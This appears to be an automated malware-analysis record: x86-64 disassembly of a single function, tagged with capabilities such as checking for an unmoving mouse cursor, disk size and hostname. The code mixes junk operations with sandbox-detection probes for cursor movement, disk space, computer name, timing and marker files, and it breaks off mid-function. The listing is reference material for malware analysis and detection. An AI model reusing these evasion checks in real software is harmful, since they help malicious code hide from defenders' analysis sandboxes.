Function at 0x1400625fc
Capabilities:
Check for unmoving mouse cursor
Get disk size
Get hostname

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x5ab0
call fcn.1400d9c00
sub rsp, rax
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x5aa0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 0
je 0x14006268f
lea rax, [rsp + 0x630]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x638]
lea r8, [rsp + 0x640]
lea rdx, [rsp + 0x648]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0x650]
lea r8, [rsp + 0x658]
lea rdx, [rsp + 0x660]
lea rcx, [0x14011abc0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0x15a8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 0
je 0x14006272c
lea rax, [rsp + 0x668]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x670]
lea r8, [rsp + 0x678]
lea rdx, [rsp + 0x680]
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x688]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.fa.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x318], rax
cmp qword [rsp + 0x318], 0xffffffffffffffff
je 0x14006278f
mov rcx, qword [rsp + 0x318]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x690]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x4ec], 0x10
lea rdx, [rsp + 0x4ec]
lea rcx, [rsp + 0x1758]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Wzf803jJ.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x320], rax
cmp qword [rsp + 0x320], 0xffffffffffffffff
je 0x140062813
mov rcx, qword [rsp + 0x320]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x100], 0x2b41de09
lea rdx, str.z9bjp7z
lea rcx, [rsp + 0x1158]
call fcn.1400038c4
lea rcx, [rsp + 0x1158]
call fcn.14000a750
mov r8d, dword [rsp + 0x100]
mov rdx, rax
lea rcx, [0x14011abe4]
call fcn.140015614
lea rcx, [rsp + 0x1158]
call fcn.14000389c
lea rcx, [rsp + 0x15b8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.AKJbt7l.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x328], rax
cmp qword [rsp + 0x328], 0xffffffffffffffff
je 0x1400628c6
mov rcx, qword [rsp + 0x328]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x104], 0x112998fd
lea rdx, [0x14011abd8]
lea rcx, [rsp + 0x1178]
call fcn.1400038c4
lea rcx, [rsp + 0x1178]
call fcn.14000a750
mov r8d, dword [rsp + 0x104]
mov rdx, rax
lea rcx, [0x14011abdc]
call fcn.140015614
lea rcx, [rsp + 0x1178]
call fcn.14000389c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0
je 0x140062980
lea rax, [rsp + 0x698]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6a0]
lea r8, [rsp + 0x6a8]
lea rdx, [rsp + 0x6b0]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.sG.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x330], rax
cmp qword [rsp + 0x330], 0xffffffffffffffff
je 0x1400629d5
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x108], 0x2108a39e
lea rdx, str.bjKqwX
lea rcx, [rsp + 0xd58]
call fcn.1400038c4
lea rcx, [rsp + 0xd58]
call fcn.14000a750
mov r8d, dword [rsp + 0x108]
mov rdx, rax
lea rcx, [0x14011ac08]
call fcn.140015614
lea rcx, [rsp + 0xd58]
call fcn.14000389c
lea r9, [rsp + 0x6b8]
lea r8, [rsp + 0x6c0]
lea rdx, [rsp + 0x6c8]
lea rcx, [0x14011ac10]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x10c], 0x38293973
lea rdx, str.4ZV2kRBLAc
lea rcx, [rsp + 0x11b8]
call fcn.1400038c4
lea rcx, [rsp + 0x11b8]
call fcn.14000a750
mov r8d, dword [rsp + 0x10c]
mov rdx, rax
lea rcx, [0x14011ac64]
call fcn.140015614
lea rcx, [rsp + 0x11b8]
call fcn.14000389c
mov dword [rsp + 0x4d8], 0x10
lea rdx, [rsp + 0x4d8]
lea rcx, [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x84], 1
mov edx, 8
lea rcx, [rsp + 0x558]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140062b13
mov eax, dword [rsp + 0x558]
mov dword [rsp + 0x468], eax
mov eax, dword [rsp + 0x55c]
mov dword [rsp + 0x464], eax
mov ecx, dword [rsp + 0x84]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x84]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.NF30f9ffg.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x338], rax
cmp qword [rsp + 0x338], 0xffffffffffffffff
je 0x140062b68
mov rcx, qword [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x1aa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0
jmp 0x140062b90
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x400
jae 0x140062bb9
movsxd rax, dword [rsp + 0x40]
mov al, byte [rsp + rax + 0x1aa0]
inc al
movsxd rcx, dword [rsp + 0x40]
mov byte [rsp + rcx + 0x1aa0], al
jmp 0x140062b86
lea rcx, [rsp + 0x6d0]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x6d8]
call qword [sym.imp.USER32.dll_GetCursorPos]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0
je 0x140062c3f
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6e8]
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0x6f8]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x118], 0x2d8a11e2
lea rdx, str.du3l
lea rcx, [rsp + 0x11d8]
call fcn.1400038c4
lea rcx, [rsp + 0x11d8]
call fcn.14000a750
mov r8d, dword [rsp + 0x118]
mov rdx, rax
lea rcx, [0x14011ac7c]
call fcn.140015614
lea rcx, [rsp + 0x11d8]
call fcn.14000389c
lea rcx, [rsp + 0x700]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x15c8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x11c], 0x33a8085c
lea rdx, [0x14011ac84]
lea rcx, [rsp + 0x11f8]
call fcn.1400038c4
lea rcx, [rsp + 0x11f8]
call fcn.14000a750
mov r8d, dword [rsp + 0x11c]
mov rdx, rax
lea rcx, [0x14011ac6c]
call fcn.140015614
lea rcx, [rsp + 0x11f8]
call fcn.14000389c
lea rax, [rsp + 0x1ea0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
jmp 0x140062d23
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x44]
cmp rax, 0x400
jae 0x140062d4c
movsxd rax, dword [rsp + 0x44]
mov al, byte [rsp + rax + 0x1ea0]
inc al
movsxd rcx, dword [rsp + 0x44]
mov byte [rsp + rcx + 0x1ea0], al
jmp 0x140062d19
mov dword [rsp + 0x120], 0x19e26dcd
lea rdx, str.hKSS4y
lea rcx, [rsp + 0xd78]
call fcn.1400038c4
lea rcx, [rsp + 0xd78]
call fcn.14000a750
mov r8d, dword [rsp + 0x120]
mov rdx, rax
lea rcx, [0x14011aca8]
call fcn.140015614
lea rcx, [rsp + 0xd78]
call fcn.14000389c
lea rcx, [rsp + 0x708]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x4dc], 0x10
lea rdx, [rsp + 0x4dc]
lea rcx, [rsp + 0x1798]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rsp + 0x15d8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0
je 0x140062e43
lea rax, [rsp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x718]
lea r8, [rsp + 0x720]
lea rdx, [rsp + 0x728]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x4e0], 0x10
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x17b8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x138], 0x2d5f5fee
lea rdx, str.FsYsdv3D4r
lea rcx, [rsp + 0xd98]
call fcn.1400038c4
lea rcx, [rsp + 0xd98]
call fcn.14000a750
mov r8d, dword [rsp + 0x138]
mov rdx, rax
lea rcx, [0x14011ac88]
call fcn.140015614
lea rcx, [rsp + 0xd98]
call fcn.14000389c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.TthwdUJ.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x340], rax
cmp qword [rsp + 0x340], 0xffffffffffffffff
je 0x140062f09
mov rcx, qword [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.QndNwXGq.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x348], rax
cmp qword [rsp + 0x348], 0xffffffffffffffff
je 0x140062f5e
mov rcx, qword [rsp + 0x348]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x88], 1
mov edx, 8
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140062fb6
mov eax, dword [rsp + 0x5f8]
mov dword [rsp + 0x460], eax
mov eax, dword [rsp + 0x5fc]
mov dword [rsp + 0x45c], eax
mov ecx, dword [rsp + 0x88]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x88]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rsp + 0x730]
lea r8, [rsp + 0x738]
lea rdx, [rsp + 0x740]
lea rcx, [0x14011acf0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x8c], 1
mov edx, 8
lea rcx, [rsp + 0x560]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140063033
mov eax, dword [rsp + 0x560]
mov dword [rsp + 0x420], eax
mov eax, dword [rsp + 0x564]
mov dword [rsp + 0x470], eax
mov ecx, dword [rsp + 0x8c]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x8c]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rsp + 0x748]
lea r8, [rsp + 0x750]
lea rdx, [rsp + 0x758]
lea rcx, [0x14011acc0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea r9, [rsp + 0x760]
lea r8, [rsp + 0x768]
lea rdx, [rsp + 0x770]
lea rcx, [0x14011acc8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea r9, [rsp + 0x778]
lea r8, [rsp + 0x780]
lea rdx, [rsp + 0x788]
lea rcx, [0x14011ad20]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rax, [rsp + 0x22a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x48], 0
jmp 0x1400630ca
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
cmp rax, 0x400
jae 0x1400630f3
movsxd rax, dword [rsp + 0x48]
mov al, byte [rsp + rax + 0x22a0]
inc al
movsxd rcx, dword [rsp + 0x48]
mov byte [rsp + rcx + 0x22a0], al
jmp 0x1400630c0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.OdC.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x350], rax
cmp qword [rsp + 0x350], 0xffffffffffffffff
je 0x140063148
mov rcx, qword [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.SgUqOpQEQ.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x358], rax
cmp qword [rsp + 0x358], 0xffffffffffffffff
je 0x14006319d
mov rcx, qword [rsp + 0x358]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x13c], 0x711f78f
lea rdx, str.y2OnQA
lea rcx, [rsp + 0xdb8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xdb8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x13c]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xdb8]
call fcn.14000389c
lea r9, [rsp + 0x790]
lea r8, [rsp + 0x798]
lea rdx, [rsp + 0x7a0]
lea rcx, [0x14011ad48]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x140], 0x315a9226
lea rdx, str.ISvkNzG
lea rcx, [rsp + 0xdd8]
call fcn.1400038c4
lea rcx, [rsp + 0xdd8]
call fcn.14000a750
mov r8d, dword [rsp + 0x140]
mov rdx, rax
lea rcx, [0x14011ad38]
call fcn.140015614
lea rcx, [rsp + 0xdd8]
call fcn.14000389c
mov dword [rsp + 0x144], 0x300f0400
lea rdx, str.pcn1YuL
lea rcx, [rsp + 0xdf8]
call fcn.1400038c4
lea rcx, [rsp + 0xdf8]
call fcn.14000a750
mov r8d, dword [rsp + 0x144]
mov rdx, rax
lea rcx, [0x14011ad70]
call fcn.140015614
lea rcx, [rsp + 0xdf8]
call fcn.14000389c
mov dword [rsp + 0x148], 0x370219da
lea rdx, str.kcEa6
lea rcx, [rsp + 0xe18]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xe18]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x148]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xe18]
call fcn.14000389c
mov dword [rsp + 0x90], 1
mov edx, 8
lea rcx, [rsp + 0x578]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14006337a
mov eax, dword [rsp + 0x578]
mov dword [rsp + 0x4bc], eax
mov eax, dword [rsp + 0x57c]
mov dword [rsp + 0x4c0], eax
mov ecx, dword [rsp + 0x90]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x90]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x14c], 0x20db76f8
lea rdx, str.XGm626uKQ
lea rcx, [rsp + 0xe38]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xe38]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x14c]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xe38]
call fcn.14000389c
lea r9, [rsp + 0x7a8]
lea r8, [rsp + 0x7b0]
lea rdx, [rsp + 0x7b8]
lea rcx, [0x14011ad68]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0x7c0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x94], 1
mov edx, 8
lea rcx, [rsp + 0x5b0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140063465
mov eax, dword [rsp + 0x5b0]
mov dword [rsp + 0x4c4], eax
mov eax, dword [rsp + 0x5b4]
mov dword [rsp + 0x4c8], eax
mov ecx, dword [rsp + 0x94]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x94]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x98], 1
mov edx, 8
lea rcx, [rsp + 0x5c8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400634bd
mov eax, dword [rsp + 0x5c8]
mov dword [rsp + 0x498], eax
mov eax, dword [rsp + 0x5cc]
mov dword [rsp + 0x4d4], eax
mov ecx, dword [rsp + 0x98]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x98]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x2d0], rax
cmp qword [rsp + 0x2d0], 0
je 0x140063527
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7d0]
lea r8, [rsp + 0x7d8]
lea rdx, [rsp + 0x7e0]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x2c0], rax
cmp qword [rsp + 0x2c0], 0
je 0x140063591
lea rax, [rsp + 0x7e8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7f0]
lea r8, [rsp + 0x7f8]
lea rdx, [rsp + 0x800]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0
je 0x1400635fb
lea rax, [rsp + 0x808]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x810]
lea r8, [rsp + 0x818]
lea rdx, [rsp + 0x820]
mov rcx, qword [rsp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x26a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x4c], 0
jmp 0x140063623
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
movsxd rax, dword [rsp + 0x4c]
cmp rax, 0x400
jae 0x14006364c
movsxd rax, dword [rsp + 0x4c]
mov al, byte [rsp + rax + 0x26a0]
inc al
movsxd rcx, dword [rsp + 0x4c]
mov byte [rsp + rcx + 0x26a0], al
jmp 0x140063619
mov dword [rsp + 0x150], 0x2ce9c680
lea rdx, [0x14011ad9c]
lea rcx, [rsp + 0xe58]
call fcn.1400038c4
lea rcx, [rsp + 0xe58]
call fcn.14000a750
mov r8d, dword [rsp + 0x150]
mov rdx, rax
lea rcx, [0x14011ada0]
call fcn.140015614
lea rcx, [rsp + 0xe58]
call fcn.14000389c
lea rcx, [rsp + 0x15e8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x4e4], 0x10
lea rdx, [rsp + 0x4e4]
lea rcx, [rsp + 0x17d8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x9c], 1
mov edx, 8
lea rcx, [rsp + 0x5f0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140063723
mov eax, dword [rsp + 0x5f0]
mov dword [rsp + 0x3ec], eax
mov eax, dword [rsp + 0x5f4]
mov dword [rsp + 0x3f0], eax
mov ecx, dword [rsp + 0x9c]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0x9c]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rsp + 0x828]
lea r8, [rsp + 0x830]
lea rdx, [rsp + 0x838]
lea rcx, [0x14011ad80]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x4e8], 0x10
lea rdx, [rsp + 0x4e8]
lea rcx, [rsp + 0x17f8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Vgi2q.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x360], rax
cmp qword [rsp + 0x360], 0xffffffffffffffff
je 0x1400637be
mov rcx, qword [rsp + 0x360]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x840]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0xa0], 1
mov edx, 8
lea rcx, [rsp + 0x620]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140063824
mov eax, dword [rsp + 0x620]
mov dword [rsp + 0x3f4], eax
mov eax, dword [rsp + 0x624]
mov dword [rsp + 0x3f8], eax
mov ecx, dword [rsp + 0xa0]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xa0]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x2b0], rax
cmp qword [rsp + 0x2b0], 0
je 0x14006388e
lea rax, [rsp + 0x848]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x850]
lea r8, [rsp + 0x858]
lea rdx, [rsp + 0x860]
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xa4], 1
mov edx, 8
lea rcx, [rsp + 0x548]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400638e6
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0x4d0], eax
mov eax, dword [rsp + 0x54c]
mov dword [rsp + 0x3fc], eax
mov ecx, dword [rsp + 0xa4]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xa4]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rsp + 0x15f8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rax, [rsp + 0x2aa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0
jmp 0x14006391c
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
cmp rax, 0x400
jae 0x140063945
movsxd rax, dword [rsp + 0x50]
mov al, byte [rsp + rax + 0x2aa0]
inc al
movsxd rcx, dword [rsp + 0x50]
mov byte [rsp + rcx + 0x2aa0], al
jmp 0x140063912
lea rcx, [rsp + 0x1608]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rsp + 0x868]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x534], 0x10
lea rdx, [rsp + 0x534]
lea rcx, [rsp + 0x1818]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x530], 0x10
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0x1838]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.hpF.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x368], rax
cmp qword [rsp + 0x368], 0xffffffffffffffff
je 0x1400639f8
mov rcx, qword [rsp + 0x368]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x178], 0x174494be
lea rdx, str.Z83VS
lea rcx, [rsp + 0xe78]
call fcn.1400038c4
lea rcx, [rsp + 0xe78]
call fcn.14000a750
mov r8d, dword [rsp + 0x178]
mov rdx, rax
lea rcx, [0x14011ada8]
call fcn.140015614
lea rcx, [rsp + 0xe78]
call fcn.14000389c
mov dword [rsp + 0x17c], 0x39292ebd
lea rdx, str.0aFm92Y
lea rcx, [rsp + 0xe98]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xe98]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x17c]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xe98]
call fcn.14000389c
lea rcx, [rsp + 0x870]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x180], 0x2a6eeb30
lea rdx, str.mhwQqWE
lea rcx, [rsp + 0xeb8]
call fcn.1400038c4
lea rcx, [rsp + 0xeb8]
call fcn.14000a750
mov r8d, dword [rsp + 0x180]
mov rdx, rax
lea rcx, [0x14011ade8]
call fcn.140015614
lea rcx, [rsp + 0xeb8]
call fcn.14000389c
lea rcx, [rsp + 0x1618]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rsp + 0x1628]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rax, [rsp + 0x2ea0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
